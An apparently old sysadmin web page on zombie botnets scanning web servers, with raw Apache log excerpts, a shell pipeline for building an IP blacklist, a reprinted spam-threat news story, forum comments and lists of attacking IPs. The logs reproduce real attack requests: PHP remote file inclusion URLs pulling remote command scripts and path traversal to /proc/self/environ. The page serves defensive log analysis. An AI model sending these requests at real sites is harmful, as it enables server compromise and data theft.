|
Home | Switchboard | Unix Administration | Red Hat | TCP/IP Networks | Neoliberalism | Toxic Managers |
(slightly skeptical) Educational society promoting "Back to basics" movement against IT overcomplexity and bastardization of classic Unix |
News | Recommended Links | Zombies with PHP scanners | Requests for non-existing web pages | Malicious iframe attack | Zombies bulletin, 2007 | Zombies with PHP scanners | |
|
PC infected with Remote access Trojans -- RATs -- are typically called zombies. Typically zombies are harvested via malicious web sites, infected web sites and fishing attacks.
|
The most primitive form of zombies network usage is the usage of them to scan other computer trying to find certain CGI or PHP vulnerabilities. Such scanning floods web logs to the extent that webadmins have a hard time looking for real things. For example 404 statistics became completely bogus.
Recently the number of "strange" access record in web logs jumped and it became interesting to analyze the logs and see what those people are doing. Here is one fragment that I have found manually:
213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/%3Elanguage.shtml/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 383 "-" "libwww-perl/5.79" 213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79" 213.195.77.225 - - [23/Jun/2007:06:00:08 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 364 "-" "libwww-perl/5.79" 213.195.77.225 - - [23/Jun/2007:06:08:12 -0700] "GET /Scripting/Phprama/%3Cwbr%20/%3Ecommand_line_php.shtml/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 393 "-" "libwww-perl/5.79" 213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79" 213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /Scripting/Phprama/%3Cwbr%20/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 366 "-" "libwww-perl/5.79" 66.230.197.170 - - [23/Jun/2007:06:25:53 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.805" 24.117.228.198 - - [23/Jun/2007:06:27:48 -0700] "GET /load_lang.php?_SERWEB[serwebdir]=http://dezzign.ru/echo? HTTP/1.1" 404 168 "-" "libwww-perl/5.803"
One common thing for those records is the usage of libwww.perl. Greping on this string brings us more complete picture reproduced in Zombies bulletin
Extracting IP addresses gives you the first draft of the "blacklist" and that top dozen can be used to block those rogue addresses from accessing your site. To get such a "dirty dozen" you can use a simple pipe which can be made into a function or shell script:
gzip -cd *.gz | grep 'libwww.perl' | cut -d' ' -f 1 | sort -n | uniq -c | sort -rn | head -12 > libwww.log
Typical sample:
200.175.239.226 - - [08/Jul/2010:00:04:14 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:00:04:47 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 404 168 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:00:04:47 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 196.38.88.188 - - [08/Jul/2010:00:47:11 -0400] "GET /inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:33 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:33 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:22 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:50:22 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 203.252.71.232 - - [08/Jul/2010:00:55:53 -0400] "GET //pingserver.php HTTP/1.0" 404 168 "-" "libwww-perl/5.805" 66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831" 200.175.239.226 - - [08/Jul/2010:01:02:03 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:01:02:21 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 404 168 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:01:02:22 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:05:48 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:05:48 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 66.71.245.122 - - [08/Jul/2010:01:06:15 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 71.71.54.208 - - [08/Jul/2010:01:20:14 -0400] "GET /DB/mysql.shtml/index2.php?p=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 197267 "-" "libwww-perl/5.834" 71.71.54.208 - - [08/Jul/2010:01:20:14 -0400] "GET /DB/index2.php?p=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 404 168 "-" "libwww-perl/5.834" 196.38.88.188 - - [08/Jul/2010:01:23:15 -0400] "GET /Scripting/php.shtml/inurl:.de' HTTP/1.0" 200 208825 "-" "libwww-perl/5.831" 196.38.88.188 - - [08/Jul/2010:01:23:20 -0400] "GET /inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 196.38.88.188 - - [08/Jul/2010:01:23:20 -0400] "GET /Scripting/inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831" 124.217.227.21 - - [08/Jul/2010:01:32:55 -0400] "GET //pingserver.php HTTP/1.0" 404 168 "-" "libwww-perl/5.810" 200.175.239.226 - - [08/Jul/2010:02:27:55 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:02:28:00 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 404 168 "-" "libwww-perl/5.805" 200.175.239.226 - - [08/Jul/2010:02:28:01 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805" 216.193.128.54 - - [08/Jul/2010:03:01:58 -0400] "GET /Scripting/Phprama/command_line_php.shtml////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 200 245407 "-" "libwww-perl/5.833" 216.193.128.54 - - [08/Jul/2010:03:01:58 -0400] "GET /Scripting/Phprama/command_line_php.shtml////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 200 245407 "-" "libwww-perl/5.833" 216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET ////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 200 234 "-" "libwww-perl/5.833" 216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET ////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 200 234 "-" "libwww-perl/5.833" 216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET /Scripting/Phprama////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 403 586 "-" "libwww-perl/5.833" 216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET /Scripting/Phprama////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 403 586 "-" "libwww-perl/5.833" 173.236.131.219 - - [08/Jul/2010:03:31:30 -0400] "GET /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml/admin/install//admin/doeditconfig.php?thispath=http://pastebin.com/raw.php?i=0qvxtQf6? HTTP/1.0" 200 64669 "-" "libwww-perl/5.813" 173.236.131.219 - - [08/Jul/2010:03:31:30 -0400] "GET //admin/doeditconfig.php?thispath=http://pastebin.com/raw.php?i=0qvxtQf6? HTTP/1.0" 404 168 "-" "libwww-perl/5.813"
For blacklisting this request activity that clogs your server’s access and error
logs, you can deny then via mod_rewrite and applying regular expression to Apache’s
REQUEST_URI
variable.
Below are the results of processing of the list from above on a small sample from July 2010 logs:
537 187.45.193.159 190 70.86.235.162 ns5.btis.co.za 177 212.57.234.23 eu0303.keele.netcentral.co.uk 171 66.45.240.106 pachecotecnologia.com.br 153 64.207.204.37 server.mynethost.com 151 74.55.73.74 server.cepublishing.com 142 77.221.130.17 srv017.infobox.ru 136 188.165.209.176 ns210881.ovh.net 129 94.23.213.213 ns304631.ovh.net 114 212.158.160.121 ns304631.ovh.net 106 78.41.204.220 savade.colocated.redunix.net 99 91.121.132.97 ns201526.ovh.net
Dr. Nikolai Bezroukov
|
Switchboard | ||||
Latest | |||||
Past week | |||||
Past month |
November 13, 2007 |Australian IT
SPAMMERS continue to find ways of dodging anti-spam engines and filters to clog our inboxes.The US is the King Kong of spam, IBM's Internet Security Systems X-Force team saying 13 per cent of the world's spam originated in the US, well ahead of Poland (7.1 per cent) and Russia and Germany, tied in third place at 5.9 per cent each.
Email security specialist Commtouch says spam has reached an all-time high of 95 per cent of all emails.
Of particular concern are new blended threats that pair apparently innocent spam with links to malicious websites.
"Blended spam is increasingly popular as a vehicle for web-based malware attacks," Commtouch's latest email threats report says.
"Zombies send spam messages without the usual virus attachments.
"Instead, they include text of a URL that hyperlinks to a website containing malware.
"The software may attempt to download automatically, in what is known as a drive-by attack, or simply entice users to download it by clicking on the link."
By hosting the malware on websites, virus writers evade antivirus defences and mail transfer agents that screen for suspicious executable files.
As there is no virus attached to the message itself, it appears clean. Other spammers are using phishing methods to entice malware downloads.
"All of these activities use vast zombie botnets. These immense networks of compromised computers are used to launch the blended attacks, to host malware sites and to generate and distribute various forms of attachment spam," Commtouch says.
"Zombies, spam and malware are becoming inescapably intertwined."
The US is the King Kong of zombies as well, with 36 per cent of the global supply, dwarfing Russia at 8 per cent. US sports fans were targeted at the start of the National Football League season in September, with virus writers using blended spam to invite people to download an NFL game tracker.
Website hyperlinks within the messages used varying IP addresses. During a single hour Commtouch identified hundreds of sites.
"The forged NFL website appeared legitimate, complete with logo," it says.
"It contained links to the free tracker and ticket sales, but all links led to a malware file called tracker.exe."
By mid-September, more than 11,000 separate zombie internet protocols were hosting the game sites.
The IP addresses used were dynamic, because they were malware-compromised home computers connected to the internet via internet service providers.
Commtouch said the sites stayed online for only a matter of hours because, in time, most filtering products would block messages containing IP addresses known to be malicious. Arcade games sites are also being used to recruit unsuspecting users' computers.
The sites are well designed and feature familiar game heroes such as Sonic the Hedgehog.
"They look professional and there's nothing obvious to tip off the user that it's actually a malware site," Commtouch says.
"The attack relies on social engineering to get users to voluntarily download the virus because it is something useful or fun."
I have been having the exact same issue with my website.I handled it little differently, I added HttpModule that checks QueryString for common value in attacker requests ';' and if its there it returns an "401 Access Denied" response to the attacker.
I could do that cause i don't use that character in my query strings so its safe.
Also not a long term solution but a quick-fix that actually helped.
IP filtering was out of the case, cause the attacker-zombies addresses kept changing.
Anyway this is a major waste of bandwidth and cpu-power i hope they will get caught and serve a long-term sentence without internet connection in the prison cell :)
Dave Ward August 09, 2008
Same here. I've had thousands of these over the past day or so, on the server that I host Encosia on.It's especially pointless against that server, since it's not even running IIS/MSSQL and the .htaccess bounces the requests to WordPress' 404 page sans injection string. Unfortunately though, tt does hammer the CPU to generate that fully templated WordPress page for every 404.
Very annoying. I'm glad I switched hosts last month. My old one would have never handled the added load.
justin
# re: Recent SQL Injection Attacks against Server
by August 09, 2008 @ 6:01 pm
Been hit by these kind of attacks off and on over the years.Even had people try to use Contact Page as means to spam people.
I strongly suggest getting something like Fortinet FortiGate, it catches most of stuff like this.
Also do URL request checks on length and other odd ball stuff that would be illegal for our site.
In both cases the connection is just dropped. I see no reason to tell the person or computer on the other end what is going on.If these people would spend their time doing productive things instead of this crap they would be rich and we would be less stressed.
Matt
# re: Recent SQL Injection Attacks against Server
by August 12, 2008 @ 5:58 amMy clients have been seeing these for months. And so once again I get paid to help clean up and patch code. I should send these guys a cut. But no, seriously, it's really been getting aggressive the past couple weeks, to the point where they're scanning multiple sites on my server at once all day long and making a measurable impact.
Plus it floods my monitoring scripts with so much garbage that I have a hard time looking for real things.
109.86.145.204 64.34.172.171 xeoline.com 70.86.235.162 ns5.btis.co.za 77.246.248.221 ns3.h20.ru
85.255.199.38 hosted.by.hostbasket.com 93.187.141.50 93-187-141-50.profisol.ro 205.251.131.33 s10077.iwsservers.com
213.180.89.75 shwl-0002.s.ipeer.se 83.143.81.162 83.143.81.162 shwl-0002.s.ipeer.se 188.165.217.175 ns211908.ovh.net
217.113.61.155 www.yofej.hu 211.233.11.170 211.233.11.170 www.yofej.hu
72.249.108.140 willow.e3linux.com 95.168.174.31 ns2.safronov.biz 77.79.245.90 p25.progreso.pl
24.173.234.213 rrcs-24-173-234-213.sw.biz.rr.com 219.240.36.36: Non-existent domain 219.240.36.36 rrcs-24-173-234-213.sw.biz.rr.com
195.130.205.27 europrojects.org 216.14.125.163 server.yeshuasharvest.org 180.151.249.166